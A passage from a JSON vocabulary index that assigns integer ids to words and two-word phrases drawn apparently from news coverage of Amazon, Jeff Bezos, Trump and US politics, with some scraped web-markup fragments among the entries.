emailed": 104901, "wild conspiracy": 104902, "lowered price": 104903, "leading freight": 104904, "cellphone users": 104905, "amazon gonna": 104906, "emergency oscars": 104907, "deported": 104908, "security scanners": 104909, "planes amazon": 104910, "employees protested": 104911, "result ianniello": 104912, "mastered": 104913, "960 worth": 104914, "list": 104915, "southerner health": 104916, "earlier defense": 104917, "city police": 104918, "special situations": 104919, "antitrust business": 104920, "concerning according": 104921, "pressure dagen": 104922, "sneaking counterfeits": 104923, "eliminate airplanes": 104924, "gigafactory": 104925, "marshall": 104926, "300x200 uploaded_files": 104927, "crushing taxes": 104928, "company oracle": 104929, "administered": 104930, "nasty pdf": 104931, "record lobbying": 104932, "levy tariffs": 104933, "based celebrity": 104934, "charges companies": 104935, "senior democratic": 104936, "replenishment": 104937, "calia": 104938, "decades rewarding": 104939, "watched closely": 104940, "policy tightening": 104941, "biden potential": 104942, "designation ultimately": 104943, "2017 file": 104944, "esteem sen": 104945, "hanks": 104946, "pelosi office": 104947, "particularly upset": 104948, "employees demand": 104949, "nuruddin farah": 104950, "sign prenuptial": 104951, "excellent journalism": 104952, "ssoper bloomberg": 104953, "lawyers disgraceful": 104954, "prefigures": 104955, "regular amazon": 104956, "photo washington": 104957, "electrocution": 104958, "china read": 104959, "design limits": 104960, "marriage historical": 104961, "ongoing digitization": 104962, "oct premise": 104963, "incites": 104964, "joshua harpoonconnect": 104965, "charging rahel": 104966, "trump writing": 104967, "dropping amazon": 104968, "major concern": 104969, "house owners": 104970, "online retailer": 104971, "member commission": 104972, "affairs engineering": 104973, "senator bernie": 104974, "pages warning": 104975, "cities read": 104976, "hidethumbnail containerid": 104977, "pages saluting": 104978, "follows nella": 104979, "wouldn lose": 104980, "trials": 104981, "winning city": 104982, "cnbc": 104983, "corporate income": 104984, "taunt refers": 104985, "dortch hardy": 104986, "amgen amazon": 104987, "taxes resorting": 104988, "old charity": 104989, "networks according": 104990, "headcount doubling": 104991, "bouquet": 104992, "world series": 104993, "forcing drugmakers": 104994, "skater": 104995, "makers say": 104996, "administration associate": 104997, "opening fashion": 104998, "company best": 104999, "afp ap": 105000, "ways antitrust": 105001, "network effect": 105002, "schools took": 105003, "blonde toupee": 105004, "lists bezos": 105005, "2017 stephanie": 105006, "corporate sentiment": 105007, "british pounds": 105008, "gusty winds": 105009, "intertangled": 105010, "commons voted": 105011, "amazon suggesting": 105012, "suppress sales": 105013, "trimester procedures": 105014, "blunt threats": 105015, "freking sent": 105016, "workflows involves": 105017, "reading terrifying": 105018, "asserting": 105019, "media offices": 105020, "goklany career": 105021, "hammered dragged": 105022, "excellence chef": 105023, "republicans currently": 105024, "acting head": 105025, "santas": 105026, "summer highs": 105027, "decisions lightly": 105028, "taylor collins": 105029, "easily run": 105030, "sincerely believe": 105031, "human traffickers": 105032, "final antagonism": 105033, "food enroute": 105034, "apple instructed": 105035, "ovation pic": 105036, "intersex": 105037, "competitive democratic": 105038, "devices cloud": 105039, "containerclassid videopinner": 105040, "discussion entitled": 105041, "wife bezos": 105042, "created greater": 105043, "howard alleged": 105044, "articleshow": 105045, "tostring length": 105046, "office earners": 105047, "microsoft azure": 105048, "anonymously": 105049, "tilefeatureimagex2": 105050, "potentially cheaper": 105051, "2020 victory": 105052, "company later": 105053, "ruth life": 105054, "sidelined": 105055, "employees wrote": 105056, "arrests increased": 105057, "point wonder": 105058, "evrnu touts": 105059, "disproportionate burdens": 105060, "report recommending": 105061, "r4ee d6": 105062, "air taxi": 105063, "primaries making": 105064, "withholding support": 105065, "tennessee manhunt": 105066, "maryland lawmakers": 105067, "public college": 105068, "psc drink": 105069, "information customers": 105070, "considerations": 105071, "accompli": 105072, "q2 earnings": 105073, "believe gianaris": 105074, "messages seeking": 105075, "branch": 105076, "consume": 105077, "ewiw6dkhz8 smita": 105078, "comments misleading": 105079, "barrage balloon": 105080, "snatchers": 105081, "long shot": 105082, "affair phillips": 105083, "nelson epa": 105084, "just google": 105085, "holidays moody": 105086, "denis": 105087, "chairman marc": 105088, "honestly speaking": 105089, "glad amazon": 105090, "later notes": 105091, "nordegren": 105092, "summit hasn": 105093, "job great": 105094, "receive state": 105095, "captive foreign": 105096, "boilerplate statement": 105097, "kicking amazon": 105098, "exports worth": 105099, "xavier": 105100, "consumer affairs": 105101, "franklin": 105102, "week writing": 105103, "mail received": 105104, "putting large": 105105, "administration rules": 105106, "strand": 105107, "republican complained": 105108, "leadership companies": 105109, "sanchez rated": 105110, "piggyback": 105111, "correspondents": 105112, "ancient language": 105113, "h6": 105114, "just hundreds": 105115, "usd 150": 105116, "cnbc eugene": 105117, "comments refer": 105118, "potsof": 105119, "rodman": 105120, "helping 2018": 105121, "scale model": 105122, "abortion pledges": 105123, "r4ee h6": 105124, "bids pained": 105125, "favoring northern": 105126, "land sea": 105127, "giuliani later": 105128, "time unless": 105129, "feldmaniac": 105130, "number assigned": 105131, "retained": 105132, "korea kim": 105133, "return c9x": 105134, "walmart shows": 105135, "states canadians": 105136, "fact trump": 105137, "terrors": 105138, "amanda edwards": 105139, "local chapter": 105140, "brexit published": 105141, "abrams tennessee": 105142, "china ming": 105143, "injunction": 105144, "amazon associates": 105145, "successive tweetstorm": 105146, "signing amazon": 105147, "subsidiary fined": 105148, "meryl": 105149, "washington hosting": 105150, "sort data": 105151, "order drug": 105152, "jedi ives": 105153, "president wish": 105154, "chelsea fc": 105155, "free total": 105156, "begin labeling": 105157, "deadly thirst": 105158, "phone kickstand": 105159, "agreement dating": 105160, "right maria": 105161, "empowers brands": 105162, "ill democrats": 105163, "v7a d1a": 105164, "npr kelsey": 105165, "scene selfie": 105166, "original battle": 105167, "z4 var": 105168, "ssd": 105169, "thomson advice": 105170, "yglesias amazon": 105171, "acquisitions going": 105172, "barr 2018": 105173, "shares 375": 105174, "politics president": 105175, "caitlin": 105176, "bezos amazon": 105177, "research price": 105178, "pops": 105179, "flawless": 105180, "agent amazon": 105181, "sourcetasos": 105182, "taken hard": 105183, "badass headlineplaintext": 105184, "health vision": 105185, "friendly mode": 105186, "report presentation": 105187, "incident kadestsky": 105188, "gop primary": 105189, "packing heat": 105190, "environment immigration": 105191, "rich powerful": 105192, "public version": 105193, "fred smith": 105194, "pricing won": 105195, "wide variety": 105196, "giant selected": 105197, "continue talking": 105198, "information voters": 105199, "regularly runs": 105200, "older people": 105201, "nyse ms": 105202, "demand bad": 105203, "sting": 105204, "rate cycle": 105205, "mic staff": 105206, "critical media": 105207, "crown costumes": 105208, "complicated mess": 105209, "retinol": 105210, "bezos earns": 105211, "taxi": 105212, "ad prices": 105213, "temperament layer": 105214, "palkar": 105215, "taxpayers immediately": 105216, "videos calling": 105217, "report claims": 105218, "tjx aldi": 105219, "turkey freeing": 105220, "patent expired": 105221, "notion lots": 105222, "campaign ties": 105223, "briggs": 105224, "hurting alcoa": 105225, "lawsuit argues": 105226, "prostitutes abramowitz": 105227, "insular": 105228, "companies inbound": 105229, "carrier utx": 105230, "chose beijing": 105231, "differ": 105232, "experimented": 105233, "standalone episodes": 105234, "ultimately decided": 105235, "primeday remember": 105236, "marketplace": 105237, "luminaid inflatable": 105238, "palantir collect": 105239, "community jails": 105240, "edgar hoover": 105241, "deal sister": 105242, "reagan": 105243, "previously relied": 105244, "gaap generated": 105245, "u1": 105246, "shares royal": 105247, "courage": 105248, "named harry": 105249, "improved age": 105250, "ultimately belongs": 105251, "bot accounts": 105252, "christmas selling": 105253, "treadmill easily": 105254, "donaldtrump 25th": 105255, "good data": 105256, "article homecoming": 105257, "cries": 105258, "sized misdirection": 105259, "advocated": 105260, "danger letting": 105261, "city campaign": 105262, "york postdecode": 105263, "native americans": 105264, "news travel": 105265, "tenure mattis": 105266, "fedex express": 105267, "sell millions": 105268, "national newspaper": 105269, "run agency": 105270, "damage going": 105271, "ignoring conflicting": 105272, "involves dismembering": 105273, "coast cities": 105274, "pulled": 105275, "branded vans": 105276, "o9x function": 105277, "microsoft strategy": 105278, "common vaccines": 105279, "watch espn": 105280, "cortez according": 105281, "prisons": 105282, "license bad": 105283, "suggests uber": 105284, "ticked higher": 105285, "immigration anti": 105286, "service providers": 105287, "signing including": 105288, "populist movement": 105289, "offering free": 105290, "fahrenheit know": 105291, "long strike": 105292, "incloud treasury": 105293, "internet market": 105294, "shane": 105295, "mix increasingly": 105296, "strong performance": 105297, "new refugees": 105298, "max planes": 105299, "sanders bernie": 105300, "underway": 105301, "fans sympathetic": 105302, "stay positive": 105303, "rodney mahaley": 105304, "hoosick": 105305, "nomination wong": 105306, "disparaging democrats": 105307, "amazon starting": 105308, "giddy": 105309, "attractive location": 105310, "parents immigrated": 105311, "keurig walmart": 105312, "jumps": 105313, "managers": 105314, "y9e": 105315, "leading roles": 105316, "devouring": 105317, "politicians don": 105318, "language original": 105319, "yields fluctuating": 105320, "reproductive": 105321, "150 genuinely": 105322, "brought brad": 105323, "keywords employment": 105324, "money 2018": 105325, "312 377": 105326, "middle east": 105327, "hinder exports": 105328, "railroad officials": 105329, "ap playbookers": 105330, "discussing new": 105331, "google appears": 105332, "feedname": 105333, "expanding business": 105334, "figure moser": 105335, "tweet americans": 105336, "aronofsky": 105337, "ivw": 105338, "high customer": 105339, "symbols": 105340, "editor martin": 105341, "website notes": 105342, "pitkin launched": 105343, "additional costs": 105344, "disgruntled employees": 105345, "media exposure": 105346, "victor": 105347, "delong uber": 105348, "airbag": 105349, "ima wealth": 105350, "bruce jenner": 105351, "enterprise value": 105352, "led company": 105353, "category work": 105354, "make difference": 105355, "alejandro": 105356, "patricia riggen": 105357, "big player": 105358, "insignia": 105359, "friedenberg": 105360, "traditional retailers": 105361, "bank accounts": 105362, "schedule president": 105363, "lifelong labor": 105364, "expand retaliatory": 105365, "stock facebook": 105366, "terrible founded": 105367, "8220 chief": 105368, "demand posted": 105369, "anti abortion": 105370, "pulitzer prizes": 105371, "fierce criticism": 105372, "atlanta dna": 105373, "primary targets": 105374, "maintaining buy": 105375, "leaked conversations": 105376, "weekly meeting": 105377, "writing stock": 105378, "powers": 105379, "arrival ocasio": 105380, "607": 105381, "government guaranteed": 105382, "jedi involves": 105383, "draft communique": 105384, "obama administrations": 105385, "implode disruptive": 105386, "shoot em": 105387, "awaited sequel": 105388, "holiday feast": 105389, "cost efficient": 105390, "acronym jedi": 105391, "illegal deforestation": 105392, "brands include": 105393, "cautious boast": 105394, "turkeys crisis": 105395, "considered offering": 105396, "forced remeasurement": 105397, "russia warns": 105398, "space share": 105399, "collapsed": 105400, "451 billion": 105401, "surrounding amazon": 105402, "good measure": 105403, "trading professionals": 105404, "performing public": 105405, "amazon series": 105406, "corporate responsibility": 105407, "sneaking": 105408, "big chance": 105409, "ottolenghi": 105410, "main motivation": 105411, "taking control": 105412, "zinke senior": 105413, "wealth fund": 105414, "valid consent": 105415, "negotiator told": 105416, "certainly pass": 105417, "perennial foes": 105418, "sat idle": 105419, "14b": 105420, "temporarily drag": 105421, "followed vanity": 105422, "charge": 105423, "public backlash": 105424, "commercial real": 105425, "amazon trademark": 105426, "reuters exclusive": 105427, "elena": 105428, "conspiracy analysts": 105429, "freight brokers": 105430, "coffee brand": 105431, "inc_staid": 105432, "essentially creating": 105433, "washington mandatory": 105434, "extractive": 105435, "build better": 105436, "james fletcher": 105437, "stop trashing": 105438, "visit reuters": 105439, "ginsburg": 105440, "specific approach": 105441, "shelters rubenstein": 105442, "bonds amid": 105443, "entrenched sexism": 105444, "help drive": 105445, "interfere": 105446, "rankin": 105447, "bestsellling": 105448, "obstructs justice": 105449, "jerri": 105450, "past framed": 105451, "narrowly beating": 105452, "doj arguments": 105453, "officials reject": 105454, "jr jared": 105455, "moratorium say": 105456, "don kill": 105457, "market beating": 105458, "multiple hands": 105459, "developed firecracker": 105460, "ric": 105461, "boy citing": 105462, "different numbers": 105463, "build campus": 105464, "smith outlined": 105465, "future north": 105466, "rules cnbc": 105467, "public benefit": 105468, "does contemporary": 105469, "gone quiet": 105470, "editor says": 105471, "pavement mcphee": 105472, "priciest deals": 105473, "york democratic": 105474, "vmware amd": 105475, "festive season": 105476, "future tax": 105477, "pay 800": 105478, "ponnuru says": 105479, "includes banning": 105480, "config video": 105481, "bank mnuchin": 105482, "structured makes": 105483, "anti mueller": 105484, "sanchez national": 105485, "published broadcast": 105486, "targeting logistic": 105487, "laura earned": 105488, "barrett": 105489, "major hint": 105490, "jason lary": 105491, "context just": 105492, "protestors tell": 105493, "nicole ponseca": 105494, "illeana": 105495, "high rise": 105496, "helping trump": 105497, "deeply cynical": 105498, "resign environment": 105499, "company spent": 105500, "ami farrow": 105501, "follow yahoo": 105502, "hutcheson": 105503, "president offered": 105504, "reviews chevron": 105505, "krueger": 105506, "clinics ama": 105507, "amazon robots": 105508, "ad skipped": 105509, "closely intertwined": 105510, "jedi request": 105511, "otr notorious": 105512, "character work": 105513, "moguldom newsletter": 105514, "uses filled": 105515, "companies subscribe": 105516, "toll rises": 105517, "arms chairman": 105518, "doesn disclose": 105519, "trouble": 105520, "previews montgomery": 105521, "collect state": 105522, "genuity michael": 105523, "times checks": 105524, "press 2018": 105525, "revival twin": 105526, "strategy aimed": 105527, "towing": 105528, "trust inquiry": 105529, "women workers": 105530, "alibaba target": 105531, "stanley morgan": 105532, "oak trees": 105533, "wary": 105534, "organizations doesn": 105535, "spa": 105536, "state 100": 105537, "bright light": 105538, "old bezos": 105539, "marketwatch rounds": 105540, "dark themes": 105541, "long layover": 105542, "ideas mainstream": 105543, "wife robyn": 105544, "brush technology": 105545, "defies sanctions": 105546, "evidence amazon": 105547, "care services": 105548, "contains links": 105549, "investing billion": 105550, "algorithmic outcomes": 105551, "statewide races": 105552, "willful ignorance": 105553, "disasters riots": 105554, "becky chambers": 105555, "funai": 105556, "bearish": 105557, "backlashes": 105558, "picoult": 105559, "shares did": 105560, "costume reduces": 105561, "hq2 campuses": 105562, "300dpi jpg": 105563, "hypothetically": 105564, "garbage bin": 105565, "3343556": 105566, "needs distribution": 105567, "utopian": 105568, "mackenzie pledged": 105569, "continued rise": 105570, "outspoken critics": 105571, "limitless controversies": 105572, "chris took": 105573, "reported 250": 105574, "tribune content": 105575, "research analyst": 105576, "heavy discounting": 105577, "steadily grown": 105578, "brobible": 105579, "provides punsters": 105580, "ebf18 product": 105581, "tereza": 105582, "space new": 105583, "bezos donald": 105584, "amazon fleet": 105585, "drugs effectively": 105586, "miami marlins": 105587, "administration year": 105588, "assemblyman joseph": 105589, "despotism": 105590, "pledge follow": 105591, "unblock": 105592, "pray mean": 105593, "similar words": 105594, "edwards children": 105595, "national emergency": 105596, "snacks": 105597, "negatively affect": 105598, "old brazilian": 105599, "enable current": 105600, "singapore think": 105601, "evan williams": 105602, "midday trade": 105603, "people conducted": 105604, "epa efe": 105605, "farms": 105606, "democratic senate": 105607, "company org": 105608, "financial reward": 105609, "daily daily": 105610, "translation headphones": 105611, "republican legislator": 105612, "completely innocent": 105613, "lilac love": 105614, "contains commercially": 105615, "appropriations spends": 105616, "nfl offseason": 105617, "trump versus": 105618, "agents identify": 105619, "thatpeople": 105620, "crime stories": 105621, "argues oliver": 105622, "shipping usage": 105623, "huffpost donald": 105624, "additional revenue": 105625, "prominent law": 105626, "kavanaugh lying": 105627, "thankfully doing": 105628, "forth mean": 105629, "following petition": 105630, "similar option": 105631, "kob": 105632, "country agribusiness": 105633, "bezos declaring": 105634, "bush funeral": 105635, "men officially": 105636, "pulling hundreds": 105637, "dpa": 105638, "easton": 105639, "green foto": 105640, "masquerading": 105641, "episode podcast": 105642, "tailed": 105643, "caufield": 105644, "border safety": 105645, "governor ithink": 105646, "involve employees": 105647, "abc george": 105648, "require sales": 105649, "international conspiracy": 105650, "remains central": 105651, "subpoena powers": 105652, "described bezos": 105653, "calls presidential": 105654, "organic strawberries": 105655, "taken easley": 105656, "media showed": 105657, "prominent detractors": 105658, "express cargo": 105659, "foods data": 105660, "setting 2017": 105661, "picked person": 105662, "entitled crookedhillary": 105663, "senate did": 105664, "400 000": 105665, "record procurement": 105666, "combat infringement": 105667, "popular thant": 105668, "frank catalano": 105669, "trumped trump": 105670, "jesse jackson": 105671, "says story": 105672, "flatmates": 105673, "consultant gavin": 105674, "brian wieser": 105675, "reactid 143": 105676, "opensecrets org": 105677, "pointer doesn": 105678, "cozies": 105679, "service workers": 105680, "guilty trump": 105681, "detention facilities": 105682, "expensive markets": 105683, "prior": 105684, "1530799114 sr": 105685, "lost weight": 105686, "tax break": 105687, "billionaire wealth": 105688, "sanchez enquirer": 105689, "factual basis": 105690, "gaiman": 105691, "post michael": 105692, "ext jpg": 105693, "enhancement act": 105694, "aug 2018": 105695, "conte\u00fado": 105696, "2019 helped": 105697, "revise obama": 105698, "jquery metadata__show": 105699, "unused amazon": 105700, "men fueling": 105701, "store cost": 105702, "multicarrier api": 105703, "onesies toys": 105704, "television companies": 105705, "occupant compartment": 105706, "snyder": 105707, "owl carousel": 105708, "beak": 105709, "sight 2018": 105710, "facebook spent": 105711, "talking tougher": 105712, "mair email": 105713, "revealed details": 105714, "braver susan": 105715, "treisman interviews": 105716, "125 000": 105717, "generous charitable": 105718, "looks hot": 105719, "disposal boxes": 105720, "site regarding": 105721, "common especially": 105722, "coast noon": 105723, "noam": 105724, "slight negative": 105725, "old trapeze": 105726, "vast facebook": 105727, "marketocracy manager": 105728, "problematic worker": 105729, "human trafficking": 105730, "remarking": 105731, "speciously claiming": 105732, "apparent knowledge": 105733, "private nature": 105734, "google ceo": 105735, "news vaxxed": 105736, "scanners needed": 105737, "ephron": 105738, "kids college": 105739, "loopholes exist": 105740, "valentines": 105741, "identifiable": 105742, "politicians demonize": 105743, "million revenue": 105744, "widespread tradition": 105745, "advisors including": 105746, "starbucks": 105747, "sketch works": 105748, "favorites waiting": 105749, "american band": 105750, "worth 134": 105751, "place market": 105752, "service sector": 105753, "new squeeze": 105754, "appropriate behaviours": 105755, "stevie": 105756, "investor confidence": 105757, "barbra streisand": 105758, "shed pounds": 105759, "york public": 105760, "sentenced prediction": 105761, "dc new": 105762, "advantage governor": 105763, "inexorable coverage": 105764, "reuters climate": 105765, "hiv prevention": 105766, "federal campaign": 105767, "ami released": 105768, "murder bound": 105769, "republican memo": 105770, "kill andrew": 105771, "reporters alternative": 105772, "multichannel retailers": 105773, "pave": 105774, "crush begins": 105775, "leading source": 105776, "officials acted": 105777, "salad": 105778, "plans today": 105779, "exact issues": 105780, "signed statement": 105781, "number reinforced": 105782, "licenses receive": 105783, "11th": 105784, "meet president": 105785, "trump persistence": 105786, "global capitalism": 105787, "express gratitude": 105788, "apple just": 105789, "councilman stephen": 105790, "lesbian couple": 105791, "businesses congress": 105792, "company competitors": 105793, "brother embedded": 105794, "pain bernie": 105795, "founder kara": 105796, "solutions order": 105797, "gesture": 105798, "food truck": 105799, "action story": 105800, "way just": 105801, "guardians": 105802, "larger coherent": 105803, "consider president": 105804, "snapdragon": 105805, "years reported": 105806, "dow steep": 105807, "house cohn": 105808, "entertainment news": 105809, "merciless": 105810, "max falkowitz": 105811, "everybody beloved": 105812, "beltway according": 105813, "invoking the25th": 105814, "coen brothers": 105815, "animals song": 105816, "duterte government": 105817, "improbable success": 105818, "enabled microwaves": 105819, "lender indymac": 105820, "past election": 105821, "existence amazon": 105822, "state director": 105823, "peak heavy": 105824, "walking": 105825, "health insurance": 105826, "ayala": 105827, "times offers": 105828, "home recently": 105829, "giant reportedly": 105830, "way\u00e9tu moore": 105831, "bolsonaro president": 105832, "amazon monthly": 105833, "anticompetitive tech": 105834, "largest online": 105835, "intel processors": 105836, "husband hollywood": 105837, "amazon affiliate": 105838, "amanda searle": 105839, "parroted president": 105840, "related people": 105841, "mastercard drops": 105842, "epee": 105843, "caught fake": 105844, "environmentalists say": 105845, "earnings rise": 105846, "provide details": 105847, "slow decline": 105848, "doll items": 105849, "help cancel": 105850, "sanchez estranged": 105851, "company faces": 105852, "stock amzn": 105853, "pedal": 105854, "american carriers": 105855, "trump tariffs": 105856, "football news": 105857, "fear does": 105858, "chalked": 105859, "considering revoking": 105860, "witnesses": 105861, "lisa madigan": 105862, "public feuding": 105863, "quickly triggered": 105864, "freight forwarding": 105865, "kovacic argues": 105866, "brainstorming meetings": 105867, "delivery boy": 105868, "mourns": 105869, "sellers pr": 105870, "dude jeff": 105871, "econ": 105872, "allow users": 105873, "canadian swagger": 105874, "utterly despicable": 105875, "decision did": 105876, "republican seats": 105877, "feds wield": 105878, "bell interview": 105879, "additionally supply": 105880, "today order": 105881, "4wuuelnwrc american": 105882, "countries prompting": 105883, "recent product": 105884, "molestation new": 105885, "prefunding": 105886, "received billions": 105887, "repair laws": 105888, "cookies inevitably": 105889, "murphy jr": 105890, "sources reflected": 105891, "heavily rural": 105892, "usual": 105893, "damares alves": 105894, "longtime stint": 105895, "jenna bush": 105896, "japanese zombie": 105897, "law trump": 105898, "price information": 105899, "improved meaningfully": 105900, "visiting relatives": 105901, "accumulated 465": 105902, "governor control": 105903, "sino european": 105904, "possible opportunities": 105905, "sound shady": 105906, "benchmarks assuaged": 105907, "weekend marks": 105908, "taxation": 105909, "shallow": 105910, "mainstream politicians": 105911, "setting texture": 105912, "displeases": 105913, "reported operating": 105914, "previously paid": 105915, "undercharging": 105916, "quite vehemently": 105917, "david greene": 105918, "graphics encouraging": 105919, "consciously think": 105920, "funding source": 105921, "summer 2018": 105922, "foothold": 105923, "entire base": 105924, "propose regulations": 105925, "service ecosystem": 105926, "stocks accounted": 105927, "ainsley": 105928, "save coral": 105929, "order smalls": 105930, "sale saying": 105931, "vast": 105932, "powell trump": 105933, "commonly accused": 105934, "permas": 105935, "stock alphabet": 105936, "blogpost": 105937, "ibama environmental": 105938, "humanization": 105939, "jun 2017": 105940, "experience flu": 105941, "kavanaugh update": 105942, "ext": 105943, "sooraj shah": 105944, "bad mistake": 105945, "federal statutes": 105946, "live featured": 105947, "futures lower": 105948, "robot world": 105949, "levied series": 105950, "state bank": 105951, "crony government": 105952, "leadership management": 105953, "unaired clip": 105954, "post deny": 105955, "antitrust standpoint": 105956, "falling letter": 105957, "veterans help": 105958, "groupasking": 105959, "blockchain phone": 105960, "really tiny": 105961, "contradict chinese": 105962, "congress member": 105963, "price consumer": 105964, "day discussions": 105965, "staff wrote": 105966, "usually continues": 105967, "postal rates": 105968, "oriented reforms": 105969, "powerpoints explain": 105970, "retail channels": 105971, "confess better": 105972, "vampiric": 105973, "recently spoke": 105974, "fils": 105975, "ben collins": 105976, "strike bezos": 105977, "vietnamese pho": 105978, "rhett butler": 105979, "custody isle": 105980, "just arrived": 105981, "defeated soldiers": 105982, "v5 ea": 105983, "defeating islamic": 105984, "successful leaders": 105985, "managed thousands": 105986, "cost selling": 105987, "information advantage": 105988, "association reminding": 105989, "holding technologies": 105990, "company demise": 105991, "lucrative companies": 105992, "content gianni": 105993, "demand apple": 105994, "cnn attorney": 105995, "person familiar": 105996, "distinguishing feature": 105997, "divide responsibility": 105998, "trump ire": 105999, "make sales": 106000, "prospects": 106001, "discounted mail": 106002, "sharp contrast": 106003, "release today": 106004, "incremental": 106005, "officially reveal": 106006, "rating agencies": 106007, "yasuda": 106008, "worry supermarket": 106009, "card issuer": 106010, "felt deceived": 106011, "trade bellwether": 106012, "consider retail": 106013, "rayner willrayner__": 106014, "claims speaking": 106015, "program codenamed": 106016, "facebook purchasing": 106017, "rozic braunstein": 106018, "high profile": 106019, "0817et copyright": 106020, "old encana": 106021, "herrero": 106022, "magic lamp": 106023, "highlight amazon": 106024, "xrt": 106025, "true snl": 106026, "international coach": 106027, "violently attacked": 106028, "2018 trifecta": 106029, "significance american": 106030, "z74bhbxjvk": 106031, "treat chinese": 106032, "poses grave": 106033, "candles remained": 106034, "gop": 106035, "56m jo": 106036, "bezos mythical": 106037, "national space": 106038, "protest bezos": 106039, "government accenture": 106040, "construct connector": 106041, "understood": 106042, "bipartisanship blasted": 106043, "recently denied": 106044, "deal vanity": 106045, "riyadh": 106046, "awry": 106047, "river koett": 106048, "reevaluation": 106049, "jos\u00e9 marrero": 106050, "service options": 106051, "hispanic citizenry": 106052, "kashmir attack": 106053, "wealthy state": 106054, "tim lonergan": 106055, "requests content": 106056, "milkshakes new": 106057, "paletta dawsey": 106058, "amok writes": 106059, "controversial decision": 106060, "records requests": 106061, "using amazon": 106062, "bit worrisome": 106063, "therefor": 106064, "programme rolled": 106065, "foot karen": 106066, "gingerbread men": 106067, "energy future": 106068, "butting": 106069, "arming large": 106070, "thedcnf reported": 106071, "methods require": 106072, "costs taxpayers": 106073, "pay local": 106074, "fact bezos": 106075, "estate investment": 106076, "course obscene": 106077, "tree japan": 106078, "delivery setups": 106079, "know cramer": 106080, "case literally": 106081, "global surveillance": 106082, "tornadoes uk": 106083, "wasn paying": 106084, "monopoly poison": 106085, "crucial report": 106086, "caldwell": 106087, "slogans including": 106088, "2020 scarborough": 106089, "mark chiusano": 106090, "shooting wells": 106091, "perceived dominance": 106092, "official start": 106093, "office founder": 106094, "redistricting dispute": 106095, "sent 110": 106096, "cut freshwater": 106097, "tabloid recently": 106098, "luxury vehicle": 106099, "ear cups": 106100, "enquirer stories": 106101, "immigration investigations": 106102, "gripping saga": 106103, "risks posted": 106104, "netflix joins": 106105, "incident raises": 106106, "responded enthusiastically": 106107, "privy": 106108, "globally related": 106109, "says analyst": 106110, "affect millions": 106111, "laugh bezos": 106112, "dividend stocks": 106113, "strange looking": 106114, "previously stressed": 106115, "recently attended": 106116, "landless movement": 106117, "1812296334 s7a": 106118, "exchange axios": 106119, "particularly large": 106120, "claims victory": 106121, "market dominance": 106122, "bronx tweeted": 106123, "people buy": 106124, "chinese vendors": 106125, "company spokesman": 106126, "cultural institutions": 106127, "werner arcbest": 106128, "ami longtime": 106129, "smithsonian": 106130, "relentless push": 106131, "software products": 106132, "including chinese": 106133, "politico ego": 106134, "memoirs handsome": 106135, "unsuccessfully asked": 106136, "hot seat": 106137, "martin sheen": 106138, "smt0130_mall_adobe": 106139, "power grid": 106140, "created tax": 106141, "levering lewis": 106142, "avion cnn": 106143, "sea amazon": 106144, "bank shareholders": 106145, "post millennials": 106146, "headlined jeff": 106147, "monumental": 106148, "tv summer": 106149, "hardcovers": 106150, "attire": 106151, "noah weisberger": 106152, "baselessly accused": 106153, "internet era": 106154, "specifically sears": 106155, "large multinational": 106156, "beau died": 106157, "jumped nearly": 106158, "amazon reef": 106159, "game fact": 106160, "senior executives": 106161, "left alleges": 106162, "technologically skilled": 106163, "funerals": 106164, "iran rouhani": 106165, "kuester": 106166, "service cfo": 106167, "founder apparent": 106168, "stiffler": 106169, "taking open": 106170, "earn profit": 106171, "critically": 106172, "fame bob": 106173, "compidx": 106174, "fearsome retailer": 106175, "state sparked": 106176, "brighter jpg": 106177, "registration request": 106178, "micronutrient secret": 106179, "sure people": 106180, "ove knausgaard": 106181, "truth encourage": 106182, "key findings": 106183, "safety133 rep": 106184, "month high": 106185, "reapportion": 106186, "75k 300k": 106187, "jessica rosenworcel": 106188, "drive": 106189, "rich series": 106190, "government projects": 106191, "negative despite": 106192, "wants court": 106193, "recalcitrant backbenchers": 106194, "wage announced": 106195, "sound government": 106196, "ban stepdaughter": 106197, "treaty ages": 106198, "managers closely": 106199, "daily press": 106200, "flowers commercially": 106201, "tharrison5": 106202, "special groups": 106203, "customer specifically": 106204, "conley experience": 106205, "frequently uncover": 106206, "memoir stands": 106207, "mcnicholas lays": 106208, "powerful player": 106209, "crockett": 106210, "multiple expansion": 106211, "white supremacists": 106212, "prominent online": 106213, "uncovered signs": 106214, "jarislowsky fraser": 106215, "new soy": 106216, "fella": 106217, "israel site": 106218, "congressman cohen": 106219, "panel raised": 106220, "amazon innovations": 106221, "financial rules": 106222, "buy baby": 106223, "puling": 106224, "hassett added": 106225, "node type": 106226, "block bezos": 106227, "prudence": 106228, "fellow guests": 106229, "struts": 106230, "called code": 106231, "aviation getty": 106232, "sears demise": 106233, "rivals david": 106234, "owning media": 106235, "investors 2018": 106236, "selection avoiding": 106237, "licensing opportunities": 106238, "ground power": 106239, "turnkey sale": 106240, "cleared according": 106241, "strength threatens": 106242, "huge asset": 106243, "greater vision": 106244, "political tussles": 106245, "site inside": 106246, "aws operations": 106247, "tech gear": 106248, "participation prior": 106249, "intrigues": 106250, "walmart flipkart": 106251, "executing": 106252, "financial struggles": 106253, "harassment policies": 106254, "tom": 106255, "just did": 106256, "feb 2018": 106257, "mondavi": 106258, "american competition": 106259, "marketwatch fed": 106260, "purchases brick": 106261, "bush authorized": 106262, "expensive right": 106263, "election reuters": 106264, "aclu description": 106265, "weinstein": 106266, "salads sandwiches": 106267, "earnings target": 106268, "responded sort": 106269, "having geographical": 106270, "exact figures": 106271, "transportation schools": 106272, "companies collectively": 106273, "notifying": 106274, "analysis llc": 106275, "bundling prime": 106276, "annotations": 106277, "intent": 106278, "swamp incrementally": 106279, "titular detective": 106280, "donuts vp": 106281, "hour free": 106282, "government list": 106283, "requires uniform": 106284, "main media": 106285, "delta osun": 106286, "locka": 106287, "days producing": 106288, "frog": 106289, "groupon rival": 106290, "amazon health": 106291, "special deals": 106292, "sasha": 106293, "lizzie litzow": 106294, "sanchez know": 106295, "children": 106296, "institution study": 106297, "jobs programme": 106298, "periodic table": 106299, "jenniferjjacobs spencersoper": 106300, "computing needs": 106301, "similar legislation": 106302, "superior haughty": 106303, "visionary company": 106304, "harassment affairs": 106305, "pichai defended": 106306, "wilke introduced": 106307, "startups newsbuzz": 106308, "chain sears": 106309, "garman technology": 106310, "trump google": 106311, "address counterfeits": 106312, "filed 500": 106313, "midas letter": 106314, "sentiment aj": 106315, "accessories 6pm": 106316, "court employers": 106317, "deep red": 106318, "resorts founders": 106319, "news friends": 106320, "forward despite": 106321, "ishares tr": 106322, "homophobic espinal": 106323, "high growth": 106324, "hvac": 106325, "oxnard 